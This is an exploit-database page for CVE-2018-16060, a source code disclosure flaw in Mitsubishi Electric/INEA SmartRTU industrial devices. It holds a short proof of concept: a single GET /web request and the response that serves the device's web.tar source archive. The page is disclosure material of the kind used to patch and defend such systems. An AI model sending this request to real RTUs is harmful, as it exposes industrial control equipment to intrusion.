Mitsubishi Electric / INEA SmartRTU Source Code Disclosure

🗓️ 18 Oct 2021 00:00:00Reported by Hamit CIBOType

packetstorm🔗 packetstormsecurity.com👁 302 Views

Mitsubishi Electric & INEA SmartRTU Source Code Disclosure, CVE-2018-16060, Apache/2.4.7, Source Code, Window

Reporter	Title	Published	Views	Family All 13
0day.today	Mitsubishi Electric & INEA SmartRTU - Source Code Disclosure Vulnerability	18 Oct 202100:00	–	zdt
Circl	CVE-2018-16060	16 Oct 202100:28	–	circl
CNNVD	Mitsubishi Electric SmartRTU 安全漏洞	15 Oct 202100:00	–	cnnvd
CVE	CVE-2018-16060	15 Oct 202119:04	–	cve
Cvelist	CVE-2018-16060	15 Oct 202119:04	–	cvelist
Exploit DB	Mitsubishi Electric & INEA SmartRTU - Source Code Disclosure	18 Oct 202100:00	–	exploitdb
EUVD	EUVD-2018-7917	7 Oct 202500:30	–	euvd
NVD	CVE-2018-16060	15 Oct 202120:15	–	nvd
Prion	Code injection	15 Oct 202120:15	–	prion
Positive Technologies	PT-2021-8816 · Mitsubishi · Smartrtu	15 Oct 202100:00	–	ptsecurity

`# Exploit Title: Mitsubishi Electric & INEA SmartRTU - Source Code Disclosure  
# Date: 2021-17-10  
# Exploit Author: Hamit CİBO  
# Vendor Homepage: https://www.inea.si  
# Software Link: https://www.inea.si/telemetrija-in-m2m-produkti/mertu/  
# Version: ME RTU  
# Tested on: Windows  
# CVE : CVE-2018-16060  
  
  
# PoC  
# Request  
  
GET /web HTTP/1.1  
Host: **.**.**.***  
Accept-Encoding: gzip, deflate  
Accept: */*  
Accept-Language: en  
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64;  
x64; Trident/5.0)  
Connection: close  
  
# Response  
  
HTTP/1.1 200 OK  
Date: Wed, 08 Aug 2018 08:09:53 GMT  
Server: Apache/2.4.7 (Ubuntu)  
Content-Location: web.tar  
Vary: negotiate  
TCN: choice  
Last-Modified: Wed, 19 Nov 2014 09:40:36 GMT  
ETag: "93800-5083300f58d00;51179459a2c00"  
Accept-Ranges: bytes  
Content-Length: 604160  
Connection: close  
Content-Type: application/x-tar  
  
  
Reference :  
  
https://drive.google.com/open?id=1QMHwTnBbIqrTkR0NEpnTKssYdi8vRsHH  
`

18 Oct 2021 00:00Current

0.5Low risk

Vulners AI Score0.5

EPSS0.11324